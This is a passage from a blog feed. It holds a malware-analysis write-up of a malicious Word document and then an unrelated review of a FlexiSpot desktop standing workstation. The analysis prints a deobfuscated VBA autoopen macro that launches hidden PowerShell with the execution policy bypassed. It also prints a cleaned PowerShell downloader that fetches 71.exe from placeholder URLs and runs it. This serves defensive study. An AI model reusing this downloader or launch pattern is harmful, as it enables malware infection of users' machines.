THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

Filename: ./ANHANG-16231-21845251.doc
 Indicator                      Value
 OLE format                     True
 Has SummaryInformation stream  True
 Application name               Microsoft Office Word
 Encrypted                      False
 Word Document                  True
 VBA Macros                     True
 Excel Workbook                 False
 PowerPoint Presentation        False
 Visio Drawing                  False
 ObjectPool                     True
 Flash objects                  0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The second tool I used was &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;olevba&lt;/code&gt;. It has been used to extract the VBA macros
from the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.doc&lt;/code&gt; file. The output I received looked
&lt;a href=&quot;https://en.wikipedia.org/wiki/Obfuscation_(software)&quot;&gt;obfuscated&lt;/a&gt; (the snippet
below has been truncated):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;olevba 0.54.1 on Python 2.7.16 - http://decalage.info/python/oletools
===============================================================================
FILE: ./ANHANG-16231-21845251.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Swlfot9.cls
in file: ./ANHANG-16231-21845251.doc - OLE stream: u&apos;Macros/VBA/Swlfot9&apos;
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO zC7wlka.vba
in file: ./ANHANG-16231-21845251.doc - OLE stream: u&apos;Macros/VBA/zC7wlka&apos;
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sub K9hj1nG()
   Debug.Print &quot;724&quot; + (&quot;516&quot;) + (&quot;UPOp3Hrt&quot; + (&quot;23&quot; + &quot;361&quot;) + &quot;vC9PPmCK&quot; + (&quot;rjITKvEv&quot;))
Debug.Print &quot;20&quot; + (&quot;994&quot;) + (&quot;u_8YY68&quot; + (&quot;791&quot; + &quot;454&quot;) + &quot;rbk4PQH&quot; + (&quot;iqapjj9&quot;))
Debug.Print &quot;942&quot; + (&quot;653&quot;) + (&quot;pqQI0T2&quot; + (&quot;226&quot; + &quot;126&quot;) + &quot;N7OT4k&quot; + (&quot;Z6j2ENjS&quot;))
   Debug.Print &quot;387&quot; + (&quot;127&quot;) + (&quot;wjf7biL&quot; + (&quot;20&quot; + &quot;64&quot;) + &quot;nE0OG8&quot; + (&quot;GNXHVKT&quot;))
Debug.Print &quot;255&quot; + (&quot;590&quot;) + (&quot;kPaztnd9&quot; + (&quot;626&quot; + &quot;534&quot;) + &quot;nc7FkKV&quot; + (&quot;itIImYJ&quot;))
Debug.Print &quot;763&quot; + (&quot;124&quot;) + (&quot;lLo5VRP&quot; + (&quot;611&quot; + &quot;629&quot;) + &quot;tJnnqa&quot; + (&quot;EPdjCjRp&quot;))
End Sub
Sub _
autoopen( _
)

[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I took a look at the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;olevba&lt;/code&gt; documentation and learned about the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;--reveal&lt;/code&gt;
experimental feature. In this case, it worked well and this feature cleaned the
code a bit. It was still obfuscated, but less weird (output below truncated):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Attribute VB_Name = &quot;zC7wlka&quot;
Sub K9hj1nG()
   Debug.Print &quot;724516UPOp3Hrt23361vC9PPmCKrjITKvEv&quot;
Debug.Print &quot;20994u_8YY68791454rbk4PQHiqapjj9&quot;
Debug.Print &quot;942653pqQI0T2226126N7OT4kZ6j2ENjS&quot;
   Debug.Print &quot;387127wjf7biL2064nE0OG8GNXHVKT&quot;
Debug.Print &quot;255590kPaztnd9626534nc7FkKVitIImYJ&quot;
Debug.Print &quot;763124lLo5VRP611629tJnnqaEPdjCjRp&quot;
End Sub
Sub autoopen( )
   Debug.Print &quot;588496Bn5Mps680785i9QMw62Vw29iIrvf&quot;
Debug.Print &quot;984870ZavHKq723615HYijaGWMHILLpV&quot;
Debug.Print &quot;58974piKRd2450645jwOkskOoIvNiL&quot;
lc8cJsPt
   Debug.Print &quot;860836EYdLCWj544391w0whi5Mmcto3&quot;
Debug.Print &quot;12319b1Pp9wzc397829Xozjntl2HkNCop&quot;
Debug.Print &quot;826309uz3s8R5980Z6jEJwMSGtCq&quot;
End Sub

[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I went ahead and manually cleaned the code even more, but I had two references
to a OLE “thing” named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Swlfot9&lt;/code&gt; that I could decode. I knew it had
something to do with &lt;a href=&quot;https://en.wikipedia.org/wiki/PowerShell&quot;&gt;PowerShell&lt;/a&gt;
given the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;powe&quot;&lt;/code&gt; string but I could not find anything else…&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Attribute VB_Name = &quot;zC7wlka&quot;

Sub autoopen()
	lc8cJsPt
End Sub

Sub lc8cJsPt()
	Set Win32ProcessstartupObj = GetObject(&quot;winmgmts:Win32_ProcessStartup&quot;)
	Win32ProcessstartupObj.ShowWindow = 0

	Set Win32ProcessObj = GetObject(&quot;winmgmts:Win32_Process&quot;)
    Win32ProcessObj.Create &quot;powe&quot; + Swlfot9.FbFMIBR + Swlfot9.bLJAPOF,
	Null,
	Win32ProcessstartupObj,
	ProcessId
End Sub
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I saw the name &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Swlfot9&lt;/code&gt; in the very first &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;olevba&lt;/code&gt; output, though, so I knew
that something was still there, but I could just not see it. I tried some other
oletools but it was a dead-end…&lt;/p&gt;

&lt;h2 id=&quot;a-powershell-payload&quot;&gt;A PowerShell payload&lt;/h2&gt;

&lt;p&gt;Not really knowing what to do next, I decided to give the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strings&lt;/code&gt; command a
try and found a very large string that looked like a bas64-encoded string.
I piped this string to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64 -d&lt;/code&gt; and got some PowerShell instructions in
return. Yay!&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$XvmIXvo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;t6jTbM&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$PbDL43&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;71&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$uj6EVuv&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;L8KMkkX&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Given that I was stuck with the VBA macro, I decided to clean the PowerShell
&lt;a href=&quot;https://en.wikipedia.org/wiki/Payload_(computing)&quot;&gt;payload&lt;/a&gt; to better
understand it. There were unused variables and weird PowerShell-allowed calls.
Below is the PowerShell script rewritten to be more readable:&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c&quot;&gt;# `$env:userprofile` returns the full path of the profile directory.&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$pathToExe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;userprofile&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;\71.exe&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$webClient&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;New-Object&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Net.WebClient&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# List of URLs pointing to a program to download&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$urls&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;//some.example.com/folder-123/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;//another.example.com/folder-456/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

&lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;foreach&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$url&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$urls&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;try&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# Try to download a program...&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$webClient&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;DownloadFile&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$pathToExe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

        &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# if it worked, then...&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;If&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Get-Item&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$pathToExe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-ge&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;24103&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# run it!&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Invoke-Item&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$pathToExe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
            &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;break&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;

        &lt;/span&gt;&lt;span class=&quot;c&quot;&gt;# otherwise, keep trying.&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kr&quot;&gt;catch&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This PowerShell script is a &lt;strong&gt;Downloader&lt;/strong&gt;: its job is to download, save and execute
a malicious program (named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;71.exe&lt;/code&gt; here). I still did not know how this script was
executed by the macro though, so let’s find out!&lt;/p&gt;

&lt;h2 id=&quot;ole-dump&quot;&gt;OLE dump&lt;/h2&gt;

&lt;p&gt;I searched for a tool able to dump an OLE stream from a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.doc&lt;/code&gt; file
and discovered &lt;a href=&quot;https://blog.didierstevens.com/programs/oledump-py/&quot;&gt;oledump.py&lt;/a&gt;.
Analyzing the different sections, I found interesting data that I dumped as ASCII:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;rshell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e ,
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This string corresponded to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Swlfot9.FbFMIBR&lt;/code&gt;. Therefore the other reference was
the payload reversed in the previous section. Below is the full line of code used
to run the PowerShell script (which is represented by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;PAYLOAD&quot;&lt;/code&gt;):&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Win32ProcessObj.Create &quot;powershell -ExecutionPolicy bypass -WindowStyle Hidden -noprofile -e&quot; + &quot;PAYLOAD&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Job done!&lt;/p&gt;

&lt;h2 id=&quot;the-71exe-program&quot;&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;71.exe&lt;/code&gt; program&lt;/h2&gt;

&lt;p&gt;In order to understand what kind of program was downloaded by the malicious &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.doc&lt;/code&gt;
file, I used a third party service to download the program from one of the URLs
in the list (in the PowerShell script) and this service then sent the program to me:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ file 71.exe
71.exe: PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s a &lt;a href=&quot;https://en.wikipedia.org/wiki/Portable_Executable&quot;&gt;Windows Portable
Executable&lt;/a&gt; program. I also
analyzed this file and &lt;a href=&quot;/2019/05/27/malware-analysis-writeup-heodo-part-2/&quot;&gt;Part 2&lt;/a&gt; will describe my findings.&lt;/p&gt;

&lt;h2 id=&quot;recap&quot;&gt;Recap’&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;I statically analyzed a Word document that contained a VBA macro and a
PowerShell script.&lt;/li&gt;
  &lt;li&gt;The VBA macro runs the PowerShell script on behalf of the user who opens the
&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.doc&lt;/code&gt; file.&lt;/li&gt;
  &lt;li&gt;The PowerShell script downloads and executes a malicious program.&lt;/li&gt;
  &lt;li&gt;This malicious program is a Windows PE EXE file.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;IoCs:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Filename&lt;/th&gt;
      &lt;th&gt;MD5 checksum&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ANHANG-16231-21845251.doc&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;70c0c42d90fd499b1d3f77b6f5a0bd3b&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;
</content>
    </entry>
    
    <entry>
        <title>Reviewing the FlexiSpot Desktop Workstation 27 inches</title>
        <link href="https://williamdurand.fr/2017/03/13/reviewing-the-flexispot-workstation/"/>
        <updated>2017-03-13T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2017/03/13/reviewing-the-flexispot-workstation</id>
        <content type="html">&lt;p&gt;&lt;strong&gt;Disclaimer:&lt;/strong&gt; Loctek Inc. contacted me spontaneously and offered me the
product I am going to write about for review purposes. I agreed to do the review
and asked about return shipping, only to be told that they offered me the
product. I received a free workstation in return for a review. I asked whether I
could write anything about it in this review and that was OK. This review is
&lt;strong&gt;my very own review&lt;/strong&gt; and Loctek Inc. did not check it before (or after)
publication.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;Standing desks. I have been interested in standing desks for several years now.
In case you don’t know, &lt;a href=&quot;http://en.wikipedia.org/wiki/Standing_desk&quot;&gt;a standing desk is a desk conceived for writing,
reading, or working, while standing up or while sitting on a high
stool&lt;/a&gt;. The impact of such desks on
our health has been quantified, and several reports have come out pointing out
&lt;a href=&quot;http://www.huffingtonpost.com/chris-kresser/sitting-health_b_2897289.html&quot;&gt;the dangers&lt;/a&gt;
&lt;a href=&quot;http://healthland.time.com/2011/04/13/the-dangers-of-sitting-at-work%E2%80%94and-standing/&quot;&gt;of sitting&lt;/a&gt;
&lt;a href=&quot;http://www.nytimes.com/2011/04/17/magazine/mag-17sitting-t.html&quot;&gt;too&lt;/a&gt;
&lt;a href=&quot;http://mashable.com/2011/05/09/sitting-down-infographic/&quot;&gt;long&lt;/a&gt; (&lt;em&gt;e.g.&lt;/em&gt; risk of
obesity, diabetes, heart disease, a variety of cancers, and an early death).
According to most people using standing desks, &lt;a href=&quot;http://readwrite.com/2013/09/26/standing-desks-productivity&quot;&gt;they even make you more
productive&lt;/a&gt;, but I
did not find any formal report confirming that yet. My own experience of 2 years
standing almost all the time did not give me significant results regarding my
productivity. Nonetheless, it is clear that I have been more focused and I have
been feeling better than ever by working in a standing position.&lt;/p&gt;

&lt;p&gt;After having given standing desk a try with cardboard boxes, then with a &lt;a href=&quot;/2014/03/17/standing-desk-do-it-yourself/&quot;&gt;DIY
standing desk I built&lt;/a&gt; (the one I
used for two years), I have been given the opportunity to try the &lt;a href=&quot;https://flexispot.com/&quot;&gt;FlexiSpot
Desktop Workstation 27”&lt;/a&gt;. In the rest of the article,
the terms “workstation”, “FlexiSpot” and “standing-desk” all refer to this
product.&lt;/p&gt;

&lt;h2 id=&quot;what-is-this-flexispot-thing&quot;&gt;What is this FlexiSpot thing?&lt;/h2&gt;

&lt;p&gt;The FlexiSpot Desktop Workstation 27 inches is a desktop sit/stand workstation,
meaning that it rests on top of an existing desk and provides adjustable
elevation for monitors and keyboard/mouse. You use it in its lowest position
while seated and then raise it up to a comfortable working height when you’re
standing.&lt;/p&gt;

&lt;p&gt;It is smaller than a full standing desk, but also less expensive. It uses gas
springs to change the height of the work surface (that is, the main surface).
The FlexiSpot also has a removable keyboard tray, under the work surface.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot-illustration.webp&quot; alt=&quot;An illustration by Loctek describing the FlexiSpot Desktop Workstation&quot; /&gt;
&lt;em&gt;Illustration by Loctek describing the FlexiSpot Desktop Workstation&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Loctek, the company behind this workstation, also sells larger workstations such
as 35”, 41” and 47” versions (depending on your country). In Germany, there are
only two sizes: 27” and 35”. The 27” workstation costs 280 euros (at the time of
writing) and you can buy it on Amazon. That is what I did, and I chose the 27”
because I didn’t need a large work surface.&lt;/p&gt;

&lt;h2 id=&quot;assembling-the-workstation&quot;&gt;Assembling the workstation&lt;/h2&gt;

&lt;p&gt;I chose the version &lt;em&gt;M1B&lt;/em&gt; of this FlexiSpot workstation. I guess &lt;em&gt;1&lt;/em&gt; stands for
27” and &lt;em&gt;B&lt;/em&gt; stands for black (there is also a white version). I was happy to get
the package delivered by DHL directly to my flat because it was pretty heavy:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_package.webp&quot; alt=&quot;A picture of the package I received&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The product was securely packed with Styrofoam:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_package_2.webp&quot; alt=&quot;A picture of the product packed with Styrofoam&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The package contained the pre-assembled work surface and lifting mechanism, the
keyboard tray and its two support arms, and an instruction manual:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_items.webp&quot; alt=&quot;A picture showing all the items contained in the box&quot; /&gt;&lt;/p&gt;

&lt;p&gt;At first glance, the work surface looks pretty heavy and robust. In my opinion,
its finish is flawless, and after several weeks of use, I can confirm that it is
good. Below is a picture of this work surface (without the keyboard tray) on top
of a good old &lt;a href=&quot;http://www.ikea.com/us/en/catalog/products/20011408/&quot;&gt;LACK Ikea
table&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_work_surface.webp&quot; alt=&quot;The workstation on top of a LACK Ikea table&quot; /&gt;&lt;/p&gt;

&lt;p&gt;As mentioned in the introduction, this workstation uses gas springs to
counterbalance the weight of the work surface and all the things placed upon it.
On each side, you have one gas spring along with a lever:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_gas.webp&quot; alt=&quot;A picture of one of the two gas springs&quot; /&gt;&lt;/p&gt;

&lt;p&gt;To change the height of the work surface and therefore change your position
(from sitting to standing for instance), you have to pull both levers at the
same time, choose the height that you like, and release both levers. The gas
springs are very smooth. I was a bit skeptical at first because I thought it
could throw all my devices placed on the work surface, but there was no problem.&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_gas_2.webp&quot; alt=&quot;A picture of the left side of the workstation, showing the gas sprint and lever&quot; /&gt;
&lt;em&gt;Left side of the workstation: gas sprint and lever&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So far, I only presented the main part of the workstation, but there is also a
keyboard tray that I had to assemble myself. It took me 10 minutes to screw the
support arms to the keyboard tray, and then add it to the main part of the
FlexiSpot:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_kb_tray.webp&quot; alt=&quot;A picture of the back of the keyboard tray&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The keyboard tray has to be mounted under the work surface, secured with four
bolts (2 on each side):&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_kb_bolts.webp&quot; alt=&quot;A picture of the bolts used to secure the tray on the workstation&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It took me less than 30 minutes to unpack the product and assemble it (finding a
screwdriver took most of the time 😅). I had to “commandeer” the kitchen table
for the review because we moved to Germany quite recently and we did not have an
office desk.&lt;/p&gt;

&lt;h2 id=&quot;using-the-workstation&quot;&gt;Using the workstation&lt;/h2&gt;

&lt;p&gt;Below is a picture of the standing desk in a low position, with an Apple
keyboard, a magic mouse, a 13” Apple MacBook Pro and a 22” Samsung monitor.
There is still plenty of space on the work surface:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_assembled.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;It is important to have enough space to fell comfortable while working in a
standing position, and this workstation makes it easy. If you have a rather
large keyboard, do not worry. There is also a lot of space on the keyboard tray:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_keyboard_tray.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Thanks to the gas springs and levers, you can adjust the height of the
workstation without any effort. Yet, what matters the most is to focus on the
height of the keyboard tray. If you take a look at all the &lt;a href=&quot;https://www.quora.com/What-is-the-best-position-to-use-a-laptop&quot;&gt;recommendations to
use a standing
desk&lt;/a&gt;, you
should set the keyboard tray at or slightly below your elbows height:&lt;/p&gt;

&lt;p class=&quot;with-caption&quot;&gt;&lt;img src=&quot;/images/posts/2017/03/flexispot_standing_position.webp&quot; alt=&quot;A picture of my (right) elbow and the keyboard tray: both are at the same height&quot; /&gt;
&lt;em&gt;My (right) elbow and the keyboard tray are at the same height&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In my case, I had to put a book below the external monitor. This good old
monitor is quite old, and it does not have an adjustable stand. Loctek also
sells a dual monitor mount that is compatible with this workstation by the way.
This could be an interesting add-on because it would let you adjust the height
of the screen(s) when you are in a sitting position too. When I am working in a
sitting position, the keyboard is at the right height but the monitor is a bit
too high, because I am not tall… Removing the book fixes this problem for me.&lt;/p&gt;

&lt;p&gt;Now, you may wonder what this weird slot on the work surface is. Its purpose is
to hold a tablet like an Apple iPad mini in the picture below. With my iPad
mini, an significant portion of the screen is hidden in the slot, though. I
don’t use this slot and I would have preferred a plain surface instead.&lt;/p&gt;

